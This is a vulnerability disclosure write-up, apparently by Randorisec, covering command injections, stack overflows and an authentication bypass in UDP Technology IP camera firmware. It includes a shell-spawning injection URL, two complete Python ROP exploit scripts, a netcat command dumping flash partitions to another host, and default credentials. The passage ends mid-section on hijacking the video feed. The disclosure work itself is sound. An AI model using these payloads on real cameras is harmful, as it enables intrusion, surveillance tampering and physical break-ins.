Headline
CVE-2021-33543: UDP Technology IP Camera vulnerabilities
Multiple camera devices by UDP Technology, Geutebrück and other vendors allow unauthenticated remote access to sensitive files due to default user authentication settings. This can lead to manipulation of the device and denial of service.
At Randorisec, we have been looking at UDP Technology IP Camera firmwares for a long time now.
UDP Technology is providing a firmware for many IP Camera vendors such as:
- Geutebruck
- Ganz
- Visualint
- Cap
- THRIVE Intelligence
- Sophus
- VCA
- TripCorps
- Sprinx Technologies
- Smartec
- Riva
They’re also selling their own cameras under their brand in Asia.
We’ve already reported several critical vulnerabilities (from RCE to Authentication Bypass) discovered on Geutebruck products. Geutebruck has always been our main contact to reach UDP Technology. In fact, UDP Technology never deigned to acknowledge our reports despite numerous mails and LinkedIn messages. Because new firmwares were released, sometimes failing to patch correctly reported vulnerabilities, we decided to follow the release of newer firmware, looking for more vulnerabilities.
This time we found 11 authenticated RCE and a complete authentication bypass.
Recap of the previous findings
Several blogposts have been published here about UDP Technology since 2017:
- Anonymous RCE on Geutebruck IP Camera
- Anonymous RCE on Geutebruck IP Camera (again)
- S03E01 RCE on Geutebruck IP Camera
- S04E01 RCE on Geutebruck IP Camera
- S05E01 RCE on Geutebruck IP Camera
It is not mandatory to read the previous blogposts to read this one, but it is still entertaining ;)
Command Injection and authentication bypass
UDP Technology’s firmware suffered from several command injections on the CGI files exposed to a user browsing the web interface.
Multiple authentication bypass were found in the past in this product. Here, the previous versions of the product are also vulnerable to this new authentication bypass found. On these firmwares (before 1.12.0.25), 4 roles or access levels exist:
- Anonymous
- Viewer
- Operator
- Administrator
Basically, prepending /viewer/…/ to a ressource when accessing it through the web interface allowed you to lower it to Viewer access level. Up to firmware 1.12.0.25 the configuration allowed an anonymous user (using the Anonymous level) to have the Viewer access level through a “Enable anonymous viewer login (no user name or password required)” option which was enabled by default. Combining an authentication bypass and an authenticated RCE, it was possible to achieve RCE as root on the default configuration.
Let’s start all over again****Step 0 - Firmware Analysis
First, we started to look at the latest firmware ( 1.12.0.27).
~/geutebruck/geutebruck/firmwares/E2-V1.12.0.27 ❯ file ipx_firmware-V1.12.0.27.Geutebruck112027.200522.enc
ipx_firmware-V1.12.0.27.Geutebruck112027.200522.enc: data
~/geutebruck/geutebruck/firmwares/E2-V1.12.0.27 ❯ binwalk ipx_firmware-V1.12.0.27.Geutebruck112027.200522.enc | head
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
2011610 0x1EB1DA Zlib compressed data, default compression
2014091 0x1EBB8B Zlib compressed data, default compression
2016543 0x1EC51F Zlib compressed data, default compression
2019160 0x1ECF58 Zlib compressed data, default compression
2021722 0x1ED95A Zlib compressed data, default compression
2024247 0x1EE337 Zlib compressed data, default compression
2026860 0x1EED6C Zlib compressed data, default compression
Binwalk identifies that the firmware contains many Zlib compressed data.
~/geutebruck/geutebruck/firmwares/E2-V1.12.0.27 ❯ binwalk -Me ipx_firmware-V1.12.0.27.Geutebruck112027.200522.enc
After trying to extract them, a large amount of data without any relevant content was found. Thanks to the previous vulnerabilities, we know we are targeting a Linux system. We have been looking for known filesystems or even directly common linux files such as ELF [0] binaires, or config files. This might indicate an encrypted firmware (note the suffix “.enc” on the filename). We can confirm this assumption by performing an entropy analysis of the firmware, a high entropy indicating with a high probability that the firmware is encrypted.
Step 1 - Reproducing Previous Vulnerabilities and Dumping the Running Firmware
If we are not able to extract the filesystem from the firmware, we can extract it from running cameras. When the research was performed, the last firmware version available was 1.12.0.27. RandoriSec reported multiple vulnerabilities in the firmware 1.12.0.25 and we still had a camera running this firmware version. By using the previously reported vulnerabiliy in testaction.cgi, we managed to get a root shell on the camera using a firmware 1.12.0.25.
Our methodology was the following:
- Obtaining the filesystem/binaries of interest from the running camera version 1.12.0.25
- Finding new vulnerabilities on the firmware 1.12.0.25
- Validating those vulnerabilities on an up-to-date firmware (1.12.0.27)
- If the last part is successful, downloading the binaries from 1.12.0.27
Dumping partitions
ls -al /dev
total 1
...
crw-rw---- 1 root root 90, 0 Apr 12 15:21 mtd0
crw-rw---- 1 root root 90, 1 Apr 12 15:21 mtd0ro
crw-rw---- 1 root root 90, 2 Apr 12 15:21 mtd1
crw-rw---- 1 root root 90, 20 Apr 12 15:21 mtd10
crw-rw---- 1 root root 90, 21 Apr 12 15:21 mtd10ro
crw-rw---- 1 root root 90, 22 Apr 12 15:21 mtd11
crw-rw---- 1 root root 90, 23 Apr 12 15:21 mtd11ro
crw-rw---- 1 root root 90, 3 Apr 12 15:21 mtd1ro
crw-rw---- 1 root root 90, 4 Apr 12 15:21 mtd2
crw-rw---- 1 root root 90, 5 Apr 12 15:21 mtd2ro
crw-rw---- 1 root root 90, 6 Apr 12 15:21 mtd3
crw-rw---- 1 root root 90, 7 Apr 12 15:21 mtd3ro
crw-rw---- 1 root root 90, 8 Apr 12 15:21 mtd4
crw-rw---- 1 root root 90, 9 Apr 12 15:21 mtd4ro
crw-rw---- 1 root root 90, 10 Apr 12 15:21 mtd5
crw-rw---- 1 root root 90, 11 Apr 12 15:21 mtd5ro
crw-rw---- 1 root root 90, 12 Apr 12 15:21 mtd6
crw-rw---- 1 root root 90, 13 Apr 12 15:21 mtd6ro
crw-rw---- 1 root root 90, 14 Apr 12 15:21 mtd7
crw-rw---- 1 root root 90, 15 Apr 12 15:21 mtd7ro
crw-rw---- 1 root root 90, 16 Apr 12 15:21 mtd8
crw-rw---- 1 root root 90, 17 Apr 12 15:21 mtd8ro
crw-rw---- 1 root root 90, 18 Apr 12 15:21 mtd9
crw-rw---- 1 root root 90, 19 Apr 12 15:21 mtd9ro
brw-rw---- 1 root root 31, 0 Apr 12 15:21 mtdblock0
brw-rw---- 1 root root 31, 1 Apr 12 15:21 mtdblock1
brw-rw---- 1 root root 31, 10 Apr 12 15:21 mtdblock10
brw-rw---- 1 root root 31, 11 Apr 12 15:21 mtdblock11
brw-rw---- 1 root root 31, 2 Apr 12 15:21 mtdblock2
brw-rw---- 1 root root 31, 3 Apr 12 15:21 mtdblock3
brw-rw---- 1 root root 31, 4 Apr 12 15:21 mtdblock4
brw-rw---- 1 root root 31, 5 Apr 12 15:21 mtdblock5
brw-rw---- 1 root root 31, 6 Apr 12 15:21 mtdblock6
brw-rw---- 1 root root 31, 7 Apr 12 15:21 mtdblock7
brw-rw---- 1 root root 31, 8 Apr 12 15:21 mtdblock8
brw-rw---- 1 root root 31, 9 Apr 12 15:21 mtdblock9
drwxr-xr-x 2 root root 520 Apr 12 15:21 mtdpart
...
11 MTD [1] nodes are present in /dev/. MTD nodes are block devices often used in IoT [2] [3]. We dumped every /dev/mtd files using netcat to send raw partitions directly to our host.
nc 192.168.14.101 4041 < /dev/mtdX
Doing so, we retrieved every MTD devices on the camera.
~/geutebruck/firmware_ext ❯ file mtd*
mtd0: data
mtd1: data
mtd10: data
mtd11: data
mtd2: u-boot legacy uImage, Linux-2.6.18_IPNX_PRODUCT_1.1.2-, Linux/ARM, OS Kernel Image (Not compressed), 1855908 bytes, Wed Nov 30 10:47:49 2016, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0xBEF4DFF0, Data CRC: 0xD02CCF26
mtd3: Linux jffs2 filesystem data little endian
mtd4: u-boot legacy uImage, Linux-2.6.18_IPNX_PRODUCT_1.1.2-, Linux/ARM, OS Kernel Image (Not compressed), 1855812 bytes, Tue May 12 09:00:47 2020, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0xF4E6E506, Data CRC: 0x5B9BC3B7
mtd5: Linux Compressed ROM File System data, little endian size 26800128 version #2 sorted_dirs CRC 0x4f9d065c, edition 0, 13570 blocks, 1568 files
mtd6: Linux jffs2 filesystem data little endian
mtd7: data
mtd8: data
mtd9: data
mtd6 is particularly interesting because it holds a JFFS2 [4] Filesystem. Citing Sourceware [4]:
“JFFS2 is a log-structured file system designed for use on flash devices in embedded systems”.
Now that we retrieved the JFFS partition, we can extract it using jefferson [5] or mount it like any comomn filesystem on linux.
Another quick option remains to take advantage of the shell and only dump binaries of interest.
Focusing on the web root
We decided to first focus on the web server before any other services, considering it is often publicly exposed to the Internet. According to the config files of the HTTP server, /var/config/www/lighttpd.conf, the location of the web root being used is /usr/www.
# ps -aux
...
1048 root 0:00 /usr/local/lighttpd/sbin/lighttpd -f /var/config/www/lighttpd.conf -m /usr/lib
...
Step 2 - Grab the Low Hanging Fruit: Command Injections
Considering the nature of the vulnerability reported in the past, we directly started to look for RCE (more precisely, command injection).
The previous command returns approximately 181 results were some of them are symbolic link to others. We first started to look at /uapi-cgi/. To filter CGI files prone to command injection, we list their external symbols looking for calls to the following functions:
popen [6]
system [7]
exec* [8]
~/geutebruck/binaries_27/all_cgi_in_root ❯ for i in *.cgi; do objdump -T $i 2>/dev/null | grep -E '(popen|system|exec)' > /dev/null && echo $i; done
certmngr.cgi countreport.cgi datetime.cgi download.cgi encprofile.cgi evnprofile.cgi extcounter.cgi factory.cgi fwupload.cgi impexp.cgi instantrec.cgi language.cgi logdownload.cgi metadata.cgi netinfo.cgi network.cgi nparam.cgi ntpsync.cgi oem.cgi reboot.cgi resource.cgi simple_loglistjs.cgi simple_reclistjs.cgi status.cgi testaction.cgi testcmd.cgi timezone.cgi tmpapp.cgi
This reduce the set of potentially vulnerable CGI files to these 28 files. Now, we can start open every file with our favourite disassembler.
**Let’s start with **certmngr.cgi****
Let’s have a look at the first cgi file containing calls to exec/system/popen, certmngr.
Note: that the original binary does not contain symbols so the function names have been renamed.
After identifying the main function, we check the different inputs we can play with to interact with the CGI.
After the call to qCgiRequestsParseQueries which returns a value, this value is passed to function sub_A010. This function takes the parameter name and return pointer to the value.
We can see the list of parameters:
- action
- group
- country
- state
- local
- organization
- organization
- unit
- commonname
- days
- type
Remember we are looking for command injections so we directly look for calls to system, exec and popen. After finding the system function, we list its cross references.
We explored both cross references. We can see the function openssl_new.
This function builds a string with snprintf and directly uses it as parameter for system. Note that if we can put our input in this string, we can get a command execution.
We can just follow the argument flow, look for another cross reference and we arrive directly in the main.
We directly control almost every strings used to build the command passed to system in openssl_new. (However one would have been enough.)
So, let’s build a quick proof of concept
We need to set correctly each parameter involved otherwise the function responsible for parsing the parameters will return a null pointer, which will be dereferenced without any check leading to a crash of the program before reaching the system function:
- action: createselfcert, the action required to reach the call to system
- local: anything
- country: AA, (dues to extra check, it needs to be only 2 char long)
- state: Our payload
- organization: anything
- organizationunit: anything
- commonname: anything
- days: any number
- type: anything
The only other constraint is that the final string built as to be a valid bash command.
http://192.168.14.58/uapi-cgi/admin/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(nc%20-lp%205098%20-e%20/bin/bash)&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything
At this point we can update the camera to the latest firmware, exploit our newly found vulnerability, and recheck every CGI files to be sure our vulnerability is still present on the most up to date version of the binaries.
We now have our first RCE as root. It requires an administrator account to trigger it. The access level required for every CGI files depends on the folder it belongs. Every CGI files are in the /uapi-cgi/ folder. However, they are not directly accessible there. In the /uapi-cgi/ folder, there are 3 other subfolders:
- admin
- operator
- viewer
Each of these folders contains symlinks to the CGI files for this access level. Administrators can execute every CGI files. Viewer has a much smaller subset. Note that a setting, disabled by default on new firmwares, available on the configuration panel, allows to have an access to viewer rights without any authentication.
We first focused on having RCE regardless of the access level.
Then proceed with the rest of the cgi files, collect the fruits
By applying more or less the same methodology on every CGI file, we find the same kind of vulnerabilities in the following CGI files:
- certmngr.cgi
- factory.cgi
- language.cgi
- oem.cgi
- simple_reclistjs.cgi
- testcmd.cgi
- tmpapp.cgi
We developed a PoC and Metasploit modules for each of these RCE.
CGI
Short description
Minimal access level
certmngr.cgi
Command injection multiple parameters
Administrator
factory.cgi
Command injection in preserve parameter
Administrator
language.cgi
Command injection in date parameter
Viewer
oem.cgi
Command injection in environment.lang parameter
Administrator
simple_reclistjs.cgi
Command injection in date parameter
Administrator
testcmd.cgi
Command injection in command parameter
Administrator
tmpapp.cgi
Command injection in appfile.filename parameter
Administrator
At this point we got 7 RCE and one impacting the Viewer access level. Can we get more?
Step 3 - Let’s go deeper! Exploiting buffer overflows
We have a lot of CGI files developped in C with not much attention paid regarding security best practices. Thus, it seems natural to at least have a quick look at buffer overflows and other types of memory corruption bugs.
There was no “shortcut” to filter CGI files with potential buffer overflows, we just analyzed each of them individually.
We found 4 classical stack buffer overflows:
- countreport.cgi
- encprofile.cgi
- evnprofile.cgi
- instantrec.cgi
Let’s focus on the instantrec.cgi file:
Later in the main function we can see a lot of string manipulation without any check on the size on the different parameters like option or action.
We have a stack buffer overflow here. For those unfamiliar with buffer overflows, plenty of good documentation is available on the Internet [9] [10].
Exploitation - ROP****Protections
Before starting the exploitation we need to be aware of the different security countermeasures in place. There is no Stack Smashing Protection [11] nor NX [12], meaning data placed on the stack could be executable. The ASLR [13] in use on the system is really weak. ASLR is responsible to randomize part of the address space of the process. Because of a weak configuration, only the stack address and the heap are randomized.
# cat /proc/sys/kernel/randomize_va_space
1
Weirdly, compared to what we could found on the Internet, this does not randomize the address of shared libraries. We are not sure exactly why we encounter this behaviour, it might be because of the very old version of the kernel we are facing here :
# uname -a
Linux EFD-2250 2.6.18_IPNX_PRODUCT_1.1.2-g3532e87a #1 PREEMPT Tue May 12 18:00:46 KST 2020 armv5tejl GNU/Linux
Let’s ROP
To exploit this stack buffer overflow we choose to go for a Return Oriented Programming Attack [14]. This might not look the straighter way to the Remote Code Execution, however, this solution allows us to not have to produce a shellcode for this architecture, and avoid any bruteforce of stack addresses.
The general idea of this exploit is to use gadgets in the libc to write a string into the data section of the libc. Then we call the system function with this newly written string as argument.
First we use ropper to retrieve the gadget we need from the libc.
0x0006781c: str r1, [r4 + 0x14]; pop r4, pc;
0x00101de4: pop r0, pc
0x0010252c: pop r1, pc
0x00015164: pop r4, pc
List of the gadgets found in /lib/libc.so.7 required for this exploit
To ROP into the libc we need libc base address, because of the weak ASLR, we can retrieve it once, using /proc/PID/maps.
To write the string in the data section we start by popping the 4 bytes of the string we want to write, into r1. Then we store it at the adress r4 + 0x14.
| pop r4, pc | <--- Stack Pointer
| 0x1000 - 0x14 |
| pop r1, pc |
| "nib/" |
| str r1 [r4 + 0x14]; pop r4, pc |
| 0x1000 + 4 - 0x14 |
| pop r1, pc |
| ";hs/" |
| str r1 [r4 + 0x14]; pop r4, pc |
Ropchain example, writing “/bin/sh;” at 0x1000
After that we just pop the address of the newly written string into r0 and we return to the begining of the system funtion in the libc.
We wrote a Python exploit so we can execute any arbitrary command.
import requests
import struct
import sys
username = 'admin'
password = 'root'
PAD_SIZE=536
padding = b"a"*PAD_SIZE
libc_add = 0x402da000
system_off = 0x00357fc
puts_off = 0x0005bc5c
exit_off = 0x0002d784
sleep_off = 0x0009538c
putchar_off = 0x005e608
libc_data_off = 0x12c960
str_r1_off = 0x0006781c # str r1 into r4 + 0x14; pop r4 pc;
pop_r0_off = 0x00101de4 # pop r0 pc
pop_r1_off = 0x0010252c # pop r1 pc
pop_r4_off = 0x00015164 # pop r4 pc
system = libc_add + system_off
puts = libc_add + puts_off
exit_ = libc_add + exit_off
sleep = libc_add + sleep_off
putchar = libc_add + putchar_off
str_r1 = libc_add + str_r1_off
pop_r0 = libc_add + pop_r0_off
pop_r1 = libc_add + pop_r1_off
pop_r4 = libc_add + pop_r4_off
add_str = libc_data_off + libc_add + 4
def p(a):
return struct.pack('<I', a)
def write_string(string, add):
rop = b""
if (len(string) %4):
print('[-] String would contain null_bytes. ')
sys.exit(-1)
chunks = [string[i:i+4] for i in range(0, len(string),4)]
rop += p(pop_r4)
rop += p(add-0x14)
for index, chunk in enumerate(chunks):
rop += p(pop_r1)
rop += chunk
rop += p(str_r1)
if index != len(chunks)-1:
rop += p(add - 0x14 + (index + 1)*4)
else:
rop += b"AAAA"
if b"\x00" in rop:
print("[-] Pickup another address, ropchain would contain null bytes")
print(",".join([hex(ord(i)) for i in rop]))
return rop
def main():
url = f'http://{sys.argv[1]}:{sys.argv[2]}/uapi-cgi/instantrec.cgi'
cmd = f'{sys.argv[3]}'
print(f'[+] Starting exploit for {url}')
print(f'\t - Command: "{cmd}"')
if len(cmd)%4:
cmd += " "*(4 - len(cmd)%4)
print("\t - Generating ropchain")
action = padding
action += write_string(cmd.encode(), add_str)
action += p(pop_r0)
action += p(add_str)
action += p(system)
print("\t - Trigger!")
r = requests.post(url, data={'action':action},auth=requests.auth.HTTPDigestAuth(username, password))
print("[*]Shell should have popped!")
def usage():
print(f"[-] Missing arguments.\n{sys.argv[0]} <Remote ip> <port> <command>")
exit(1)
if __name__=='__main__':
if len(sys.argv) < 4:
usage()
main()
Python exploit for instantrec.cgi
Because every CGI files uses the libc, the 4 Stack Buffer overflows can be exploited using exactly the same technique. You just need to adapt the parameters, the padding size and the libc base address, which is different for every CGI but constant across executions.
Summary table
CGI
Short description
Minimal access level
certmngr.cgi
Command injection multiple parameters
Administrator
countreport.cgi
Stack Buffer Overflow
Operator
encprofile.cgi
Stack Buffer Overflow
Administrator
evnprofile.cgi
Stack Buffer Overflow
Operator
factory.cgi
Command injection in preserve parameter
Administrator
instantrec.cgi
Stack Buffer Overflow
Administrator
language.cgi
Command injection in date parameter
Viewer
oem.cgi
Command injection in environment.lang parameter
Administrator
simple_reclistjs.cgi
Command injection in date parameter
Administrator
testcmd.cgi
Command injection in command parameter
Administrator
tmpapp.cgi
Command injection in appfile.filename parameter
Administrator
That brings to 11 RCE issues and only one with Viewer access level.
Step 4 - Make the fruits taste delicious: Authentication Bypass
When looking at the authentication mechanism, we realised it relies mainly on HTTP Basic Authentication provided by the web server lighthttpd.
Extract of /var/config/www/lighttpd.conf
...
## mod_access
$HTTP["url"] !~ "testcmd.cgi|param.cgi"{
$HTTP["querystring"] =~ "(\>|\%3e|\%3E|\||\%7c|\%7C|;|\%3b|\%3B|\'|\%27|\!|\%21|\{|\}|\%7b|\%7B|\%7d|\%7D|\[|\]|\%5b|\%5B|\%5d|\%5D|\`|\%60|\$\(|\%[0-1][0-9a-fA-F]|\%80|\%[eE]2\%82\%[aA][cC])"{
url.access-deny = ("")
}
}
$HTTP["url"] =~ "param.cgi"{
$HTTP["querystring"] =~ "(\"|\%22|\'|\%27|\`|\%60)"{
url.access-deny = ("")
}
}
...
## < Begin of Authentication part
## 0 for off, 1 for 'auth-ok' messages, 2 for verbose debugging
auth.debug = 0
## auth.backend
include "/var/config/www/auth_user"
## auth.require
#$SERVER["socket"] == ":80" {
# $HTTP["url"] =~ "^/*" {
# auth.require = (
# "/uapi-cgi/param.fcgi" => (
# "method" => "basic",
# "realm" => "root",
# "require" => "user=root"
# ),
# "/nvc-cgi/param.fcgi" => (
# "method" => "basic",
# "realm" => "root",
# "require" => "user=root"
# ))
# }
#}
include "/var/config/www/auth_require"
## > End of Authentication part
...
The first file /var/config/www/auth_user :
auth.backend = "htdigest"
auth.backend.htdigest.userfile = "/tmp/.digest"
The list of users are stored on auth.backend.htdigest.userfile.
root:administrator:0215f42c8fa1d2cc3c4652529d3a771a
Only one in our case.
The second interesting file included by the main config file is /var/config/www/auth_require:
$SERVER["socket"] == ":80" {
url.rewrite-once = (
"^/nvc-cgi\/([^\/]*)\.(fcgi|cgi)(\?.*)?$" => "/nvc-cgi/admin/$1.$2$3",
"^/uapi-cgi\/([^\/]*)\.(fcgi|cgi)(\?.*)?$" => "/uapi-cgi/admin/$1.$2$3"
)
$HTTP["url"] =~ "^/*" {
auth.require = (
"/uapi-cgi/admin" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/uapi-cgi/operator" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/nvc-cgi/admin" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/nvc-cgi/operator" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/nvc-cgi/ptz/ptz2.fcgi" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/nvc-cgi/ptz/serial2.fcgi" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/vca.cgi" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/admin" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/storage/storage.html" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/config/index.html" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/uapi-cgi/viewer" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/nvc-cgi/viewer" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/cgi-bin" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/api" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/var/config/www/guest_fcgi" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
"/main.html" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root")
)
}
}
This file is designed to set up authentication rules to various folders. The following lines for example are responsible of the authentication of /uapi-cgi/admin:
...
"/uapi-cgi/admin" =>
( "method" => "digest",
"realm" => "administrator",
"require" => "user=root"),
...
However, if you remember, every CGI files are directly placed under /uapi-cgi/ folder and only symlinks are in directories named out of roles (admin, operator and viewers). To prevent unauthorized users to access the cgi files under /uapi-cgi/, we can find in the top of the config file directives responsible to rewrite request matching /uapi-cgi/*.cgi as /uapi-cgi/admin/*.cgi:
url.rewrite-once = (
"^/nvc-cgi\/([^\/]*)\.(fcgi|cgi)(\?.*)?$" => "/nvc-cgi/admin/$1.$2$3",
"^/uapi-cgi\/([^\/]*)\.(fcgi|cgi)(\?.*)?$" => "/uapi-cgi/admin/$1.$2$3"
)
But, there is an issue in this rewriting rule, it matches only requests starting by /uapi-cgi/. So, if we request, /non-existent/…/uapi-cgi/certmngr.cgi, the request will not match the regular expression, which will not be rewritten. Even more, just a double slash instead of a single slash in the beginning of /uapi-cgi/ is enough. If it is not rewritten, we directly ask for /uapi-cgi/certmngr.cgi. This file is NOT protected by HTTP Basic authentication.
When testing it, keep in mind that /non-existent/…/uapi-cgi/certmngr.cgi might be transparently replaced by your browser into /uapi-cgi/certmngr.cgi which is why we craft HTTP requests manually here.
~/geutebruck/disclo/blogpost ❯ python -c 'print("GET /uapi-cgi/certmngr.cgi HTTP/1.1\r\nHost: 192.168.14.58\r\n\r")' | nc 192.168.14.58 80
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest realm="administrator", nonce="e4b9e9f05e3412c45cd88da4d3b36bae", qop="auth"
Content-Type: text/html
Content-Length: 351
Date: Tue, 13 Apr 2021 17:04:56 GMT
Server: lighttpd/1.4.35
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>401 - Unauthorized</title>
</head>
<body>
<h1>401 - Unauthorized</h1>
</body>
</html>
~/geutebruck/disclo/blogpost ❯ python -c 'print("GET /non-existent/../uapi-cgi/certmngr.cgi HTTP/1.1\r\nHost: 192.168.14.58\r\n\r")' | nc 192.168.14.58 80
HTTP/1.1 200 OK
Cache-Control: no-cache, max-age=0
Pragma: no-cache
Expires: Tue, 13 Apr 2021 17:04:07 GMT
Content-Length: 0
Date: Tue, 13 Apr 2021 17:04:07 GMT
Server: lighttpd/1.4.35
~/geutebruck/disclo/blogpost ❯ python -c 'print("GET //uapi-cgi/certmngr.cgi HTTP/1.1\r\nHost: 192.168.14.58\r\n\r")' | nc 192.168.14.58 80
HTTP/1.1 200 OK
Cache-Control: no-cache, max-age=0
Pragma: no-cache
Expires: Tue, 13 Apr 2021 17:05:21 GMT
Content-Length: 0
Date: Tue, 13 Apr 2021 17:05:21 GMT
Server: lighttpd/1.4.35
Quick POC of the authentication bypass
We got a nice and simple trick to bypass authentication of every /uapi-cgi/ files, making every RCEs we found so far reachable without any authentication. We now have 11 pre-auth RCE.
Bonus 1 - No Auth Exploit Buffer Overflow
It even simplifies the previous exploit, because we do not have to handle the HTTP Basic authentication anymore.
import socket
import struct
import sys
PAD_SIZE=536
padding = b"a" * PAD_SIZE
libc_add = 0x402da000
system_off = 0x00357fc
puts_off = 0x0005bc5c
exit_off = 0x0002d784
sleep_off = 0x0009538c
putchar_off = 0x005e608
libc_data_off = 0x12c960
str_r1_off = 0x0006781c #str r0 into r4 + 0x14; pop r4 pc;
pop_r0_off = 0x00101de4 #pop r0 pc
pop_r1_off = 0x0010252c #pop r1 pc
pop_r4_off = 0x00015164 #pop r4 pc
system = libc_add + system_off
puts = libc_add + puts_off
exit_ = libc_add + exit_off
sleep = libc_add + sleep_off
putchar = libc_add + putchar_off
str_r1 = libc_add + str_r1_off
pop_r0 = libc_add + pop_r0_off
pop_r1 = libc_add + pop_r1_off
pop_r4 = libc_add + pop_r4_off
add_str = libc_data_off + libc_add + 4
def p(a):
return struct.pack('<I', a)
def write_string(string, add):
rop = b""
if (len(string) % 4):
print('[-] String would contain null_bytes. ')
sys.exit(-1)
chunks = [string[i:i + 4] for i in range(0, len(string), 4)]
rop += p(pop_r4)
rop += p(add-0x14)
for index, chunk in enumerate(chunks):
rop += p(pop_r1)
rop += chunk
rop += p(str_r1)
if index != len(chunks) - 1:
rop += p(add - 0x14 + (index + 1) * 4)
else:
rop += b"AAAA"
if b"\x00" in rop:
print("[-] Pickup another address, ropchain would contain null bytes")
print(",".join([hex(ord(i)) for i in rop]))
return rop
def send_http_post_request(target, url, data, port=80):
body = b"&".join([key.encode() + b'=' + data[key] for key in data])
head = f"""POST {url} HTTP/1.1\r
Host: {target}\r
Content-Length: {len(body)}\r\n\r
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
# print(head.encode()+body)
s.send(head.encode()+body)
# print(s.recv(4096))
def main():
cmd = sys.argv[3]
target_url = "/onvif/../uapi-cgi/instantrec.cgi"
print(f'[+] Starting exploit for on {sys.argv[1]}')
print(f'\t - Command: "{cmd}"')
if len(cmd)%4:
cmd += " "*( 4 - len(cmd) % 4)
print("\t - Generating ropchain")
action = padding
action += write_string(cmd.encode(), add_str)
action += p(pop_r0)
action += p(add_str)
action += p(system)
print("\t - Trigger!")
send_http_post_request(sys.argv[1], target_url, {'action':action}, port=int(sys.argv[2]))
print("[*]Shell should have popped!")
def usage():
print(f"[-] Missing arguments.\n{sys.argv[0]} <Remote ip> <port> <command>")
exit(1)
if __name__=='__main__':
if len(sys.argv) < 4:
usage()
main()
Bonus 2 - Metasploit Post Exploitation Module
After successfully gaining acces to the camera, the next step is to attack the camera capture display which can be very useful during a red team engagement and would help for an initial physical intrusion.
To do so, a high level understanding of how the live streaming video works is crucial. Consulting the livestream on a web browser reveals an internal JavaScript code which is responsible for getting infinite instant frames from a FastCGI endpoint and overwriting current displayed frame, thus making the livestream looks smooth and well displayed when seen by the bare eye.
The FastCGI file is a binary protocol for interfacing interactive programs with a web server, in our case it is used as a proxy between the raw stream and the web pages which are finally displayed within the web browser.
As this FastCGI file is a blackbox asset, its general behavior could be challenging at first but thanks to the available tools out there, reverse engineering the snapshot.fcgi file using a disassembler/decompiler such as IDA or Ghidra is as simple as watching the livestream.
Long story short, each frame is received by the fcgi binary in a raw format and transformed into an standard image and returned as a response in order to be used later when consulted by the JavaScript code.
The main() function responsible for handling all the process prementioned is the following:
int main(void)
{
[...]
iVar1 = UHL_streamInit(); // start the raw connection with the stream
if (iVar1 == 0) {
memset(acStack320,0,0x11c); // allocate space for hardcoded snapshot config file
snprintf(acStack320,0x80,"/var/info/tmp/status_snapshot_fcgi.conf");
[...]
strncpy(acStack192,"/etc/init.d/fcgi/snapshot.fcgi",0x80); // output file
[...]
iVar1 = STATUS_create(acStack320);
g_statusHandle = iVar1;
if (iVar1 != 0) {
IPNUTIL_RegisterSigHandler(signalHandler); // handle interruptions signals
LAB_00008c54:
iVar1 = FCGI_Accept(); // accept request
if (-1 < iVar1) {
while( true ) { // infinite display
local_1c[0] = 0;
iVar1 = UHL_frameOpenTime(0,0,2,0,0,0,0,0); // open raw connection with the stream
if (iVar1 == 0) break; // no stream ==> exit
UHL_frameGetSerial(iVar1,local_1c); // store stream serial reference
if (local_1c[0] == 0) { // no serial identified ==> exit
UHL_frameClose(iVar1);
break;
}
local_24 = 0;
local_20 = (void *)0x0;
UHL_frameGetData(iVar1,&local_20,&local_24); // start getting data and store it in local_20
__n = local_24;
__dest = malloc(local_24); // allocate space for raw data
if (__dest == (void *)0x0) break; // failed to dynamically allocate space
memcpy(__dest,local_20,__n); // copying the raw data to the allocated space. no overflow !!
UHL_frameClose(iVar1); // finished receving data
FCGI_printf("Content-Length: %d\r\n",__n); // preparing HTTP response header
printHead("image/jpeg"); // content type
iVar1 = FCGI_fwrite(__dest,__n,1,0x111c8); // writing content as http response
if (iVar1 == 1) { // success
FCGI_fflush(0x111c8); // flush the buffer
free(__dest); // free allocated space ; otherwise memory leak ?
goto LAB_00008c54; // repeat the process
}
printHead("text/html"); // if something went wrong we reach this point
errorPrint("PrintData error"); // print error on the page;
free(__dest); // also free the allocated space
iVar1 = FCGI_Accept(); // try to accept a request
if (iVar1 < 0) goto LAB_00008d3c; // if it fails then it quit the program
}
printHead("text/html");
errorPrint("GetSnapshot error2");
goto LAB_00008c54;
}
LAB_00008d3c:
STATUS_delete(g_statusHandle,1);
UHL_streamCleanUp();
iVar1 = 0;
}
}
}
Going back to the JavaScript part within the web browser, a pushImage() function is defined in order to get a frame from a FastCGI endpoint and push it to the browser page very fast in an infite loop to make it looks like a video. Its code is as follows:
function pushImage() {
loadImage = function() {
if(snapshot_play === false) {
return;
}
